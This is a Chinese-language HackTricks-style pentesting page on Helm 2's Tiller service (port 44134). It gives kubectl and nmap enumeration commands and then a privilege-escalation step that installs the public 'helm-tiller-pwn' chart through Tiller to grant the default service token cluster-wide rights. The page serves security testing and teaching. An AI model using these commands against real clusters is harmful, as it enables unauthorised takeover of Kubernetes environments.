44134 - Pentesting Tiller (Helm)

支持 HackTricks

基本信息

Helm 是 Kubernetes 的 包管理器。它允许将 YAML 文件打包并在公共和私有仓库中分发。这些包称为 Helm ChartsTiller 是默认在端口 44134 上运行的 服务,提供该服务。

默认端口: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

如果您可以枚举不同命名空间的 pods 和/或服务,请枚举它们并搜索名称中包含**“tiller”**的项:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

示例:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

您还可以尝试通过检查端口 44134 来查找此服务是否正在运行:

sudo nmap -sS -p 44134 <IP>

一旦你发现它,你可以通过下载客户端 helm 应用程序与之通信。你可以使用像 homebrew 这样的工具,或者查看 官方发布页面. 有关更多详细信息或其他选项,请参阅 安装指南

然后,你可以 枚举服务

helm --host tiller-deploy.kube-system:44134 version

权限提升

默认情况下,Helm2 安装在 kube-system 命名空间中,具有 高权限,因此如果您找到该服务并且可以访问它,这可能允许您 提升权限

您需要做的就是安装一个这样的包:https://github.com/Ruil1n/helm-tiller-pwn,这将使 默认服务令牌访问整个集群中的所有内容。

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573 中你可以找到 攻击的解释,但基本上,如果你阅读文件 clusterrole.yamlclusterrolebinding.yamlhelm-tiller-pwn/pwnchart/templates/ 中,你可以看到 所有权限都被赋予了默认令牌

支持 HackTricks

Last updated